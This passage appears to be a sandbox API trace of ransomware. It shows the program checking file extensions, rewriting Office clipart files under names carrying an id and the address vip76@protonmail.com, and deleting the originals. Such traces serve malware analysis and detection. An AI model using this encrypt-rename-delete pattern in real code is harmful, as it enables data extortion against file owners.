	[0186.253] lstrlenW (lpString=".dbf") returned 4
	[0186.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.253] lstrlenW (lpString=".1cd") returned 4
	[0186.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.253] lstrlenW (lpString=".jpg") returned 4
	[0186.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.253] lstrlenW (lpString=".doc") returned 4
	[0186.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString=".docx") returned 5
	[0186.253] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0186.253] lstrlenW (lpString=".pdf") returned 4
	[0186.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString=".xls") returned 4
	[0186.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.253] lstrlenW (lpString=".xlsx") returned 5
	[0186.253] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0186.253] lstrlenW (lpString=".ppt") returned 4
	[0186.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.253] lstrlenW (lpString=".zip") returned 4
	[0186.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.254] lstrlenW (lpString=".rar") returned 4
	[0186.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.254] lstrlenW (lpString=".bz2") returned 4
	[0186.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.254] lstrlenW (lpString=".7z") returned 3
	[0186.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.254] lstrlenW (lpString=".dbf") returned 4
	[0186.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.254] lstrlenW (lpString=".1cd") returned 4
	[0186.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0186.254] lstrlenW (lpString=".jpg") returned 4
	[0186.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.254] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.254] lstrlenW (lpString="J0099176.WMF") returned 12
	[0186.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0186.950] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2488) returned 1
	[0186.950] CloseHandle (hObject=0x5b4) returned 1
	[0186.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220
	[0186.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0186.973] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.973] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0186.974] GetLastError () returned 0x0
	[0186.974] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0187.003] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0187.004] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.004] WriteFile (in: hFile=0x554, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.004] SetEndOfFile (hFile=0x554) returned 1
	[0187.004] CloseHandle (hObject=0x554) returned 1
	[0187.004] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.004] SetEndOfFile (hFile=0x5c4) returned 1
	[0187.007] CloseHandle (hObject=0x5c4) returned 1
	[0187.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1
	[0187.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.008] lstrlenW (lpString=".doc") returned 4
	[0187.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.008] lstrlenW (lpString=".docx") returned 5
	[0187.008] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0187.008] lstrlenW (lpString=".pdf") returned 4
	[0187.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.009] lstrlenW (lpString=".xls") returned 4
	[0187.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.009] lstrlenW (lpString=".xlsx") returned 5
	[0187.009] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0187.009] lstrlenW (lpString=".ppt") returned 4
	[0187.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.009] lstrlenW (lpString=".zip") returned 4
	[0187.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.009] lstrlenW (lpString=".rar") returned 4
	[0187.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.009] lstrlenW (lpString=".bz2") returned 4
	[0187.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.009] lstrlenW (lpString=".7z") returned 3
	[0187.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.009] lstrlenW (lpString=".dbf") returned 4
	[0187.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.009] lstrlenW (lpString=".1cd") returned 4
	[0187.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.009] lstrlenW (lpString=".jpg") returned 4
	[0187.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.009] lstrlenW (lpString=".doc") returned 4
	[0187.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.010] lstrlenW (lpString=".docx") returned 5
	[0187.010] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0187.010] lstrlenW (lpString=".pdf") returned 4
	[0187.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.010] lstrlenW (lpString=".xls") returned 4
	[0187.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.010] lstrlenW (lpString=".xlsx") returned 5
	[0187.010] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0187.011] lstrlenW (lpString=".ppt") returned 4
	[0187.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.012] lstrlenW (lpString=".zip") returned 4
	[0187.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.012] lstrlenW (lpString=".rar") returned 4
	[0187.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.012] lstrlenW (lpString=".bz2") returned 4
	[0187.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.012] lstrlenW (lpString=".7z") returned 3
	[0187.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.012] lstrlenW (lpString=".dbf") returned 4
	[0187.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.012] lstrlenW (lpString=".1cd") returned 4
	[0187.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68
	[0187.012] lstrlenW (lpString=".jpg") returned 4
	[0187.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.013] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0187.013] lstrlenW (lpString="J0099185.JPG") returned 12
	[0187.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0187.021] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3282) returned 1
	[0187.021] CloseHandle (hObject=0x514) returned 1
	[0187.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220
	[0187.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.024] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.024] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0187.026] GetLastError () returned 0x0
	[0187.026] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xcd2, lpOverlapped=0x0) returned 1
	[0187.035] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0187.036] ReadFile (in: hFile=0x5c4, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.036] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.036] SetEndOfFile (hFile=0x514) returned 1
	[0187.036] CloseHandle (hObject=0x514) returned 1
	[0187.037] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.037] SetEndOfFile (hFile=0x5c4) returned 1
	[0187.040] CloseHandle (hObject=0x5c4) returned 1
	[0187.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1
	[0187.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.041] lstrlenW (lpString=".doc") returned 4
	[0187.041] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.041] lstrlenW (lpString=".docx") returned 5
	[0187.041] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0187.041] lstrlenW (lpString=".pdf") returned 4
	[0187.041] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.041] lstrlenW (lpString=".xls") returned 4
	[0187.042] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.042] lstrlenW (lpString=".xlsx") returned 5
	[0187.042] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0187.042] lstrlenW (lpString=".ppt") returned 4
	[0187.042] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.042] lstrlenW (lpString=".zip") returned 4
	[0187.042] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.042] lstrlenW (lpString=".rar") returned 4
	[0187.042] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.042] lstrlenW (lpString=".bz2") returned 4
	[0187.042] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.042] lstrlenW (lpString=".7z") returned 3
	[0187.042] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.042] lstrlenW (lpString=".dbf") returned 4
	[0187.042] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.042] lstrlenW (lpString=".1cd") returned 4
	[0187.042] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.042] lstrlenW (lpString=".jpg") returned 4
	[0187.042] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.042] lstrlenW (lpString=".doc") returned 4
	[0187.042] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.042] lstrlenW (lpString=".docx") returned 5
	[0187.043] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0187.043] lstrlenW (lpString=".pdf") returned 4
	[0187.043] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.043] lstrlenW (lpString=".xls") returned 4
	[0187.043] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.043] lstrlenW (lpString=".xlsx") returned 5
	[0187.043] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0187.043] lstrlenW (lpString=".ppt") returned 4
	[0187.043] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.043] lstrlenW (lpString=".zip") returned 4
	[0187.043] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.043] lstrlenW (lpString=".rar") returned 4
	[0187.043] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.043] lstrlenW (lpString=".bz2") returned 4
	[0187.043] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.043] lstrlenW (lpString=".7z") returned 3
	[0187.322] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.322] lstrlenW (lpString=".dbf") returned 4
	[0187.322] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0187.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.322] lstrlenW (lpString=".1cd") returned 4
	[0187.322] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0187.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68
	[0187.322] lstrlenW (lpString=".jpg") returned 4
	[0187.322] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.322] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0187.322] lstrlenW (lpString="J0099186.JPG") returned 12
	[0187.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0187.385] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16738) returned 1
	[0187.385] CloseHandle (hObject=0x5b4) returned 1
	[0187.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 0x220
	[0187.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.622] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.635] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0187.758] GetLastError () returned 0x0
	[0187.759] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x4162, lpOverlapped=0x0) returned 1
	[0187.763] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x4170, lpOverlapped=0x0) returned 1
	[0187.765] ReadFile (in: hFile=0x5ac, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.765] WriteFile (in: hFile=0x588, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.765] SetEndOfFile (hFile=0x588) returned 1
	[0187.765] CloseHandle (hObject=0x588) returned 1
	[0187.766] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.766] SetEndOfFile (hFile=0x5ac) returned 1
	[0187.770] CloseHandle (hObject=0x5ac) returned 1
	[0187.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099186.jpg")) returned 1
	[0187.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.774] lstrlenW (lpString=".doc") returned 4
	[0187.775] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0187.775] lstrlenW (lpString=".docx") returned 5
	[0187.775] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0187.775] lstrlenW (lpString=".pdf") returned 4
	[0187.775] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0187.775] lstrlenW (lpString=".xls") returned 4
	[0187.775] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0187.775] lstrlenW (lpString=".xlsx") returned 5
	[0187.775] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0187.775] lstrlenW (lpString=".ppt") returned 4
	[0187.775] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0187.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.775] lstrlenW (lpString=".zip") returned 4
	[0187.775] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0187.775] lstrlenW (lpString=".rar") returned 4
	[0187.775] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0187.775] lstrlenW (lpString=".bz2") returned 4
	[0187.775] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0187.775] lstrlenW (lpString=".7z") returned 3
	[0187.775] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0187.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68
	[0187.775] lstrlenW (lpString=".dbf") returned 4
	[0187.775] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
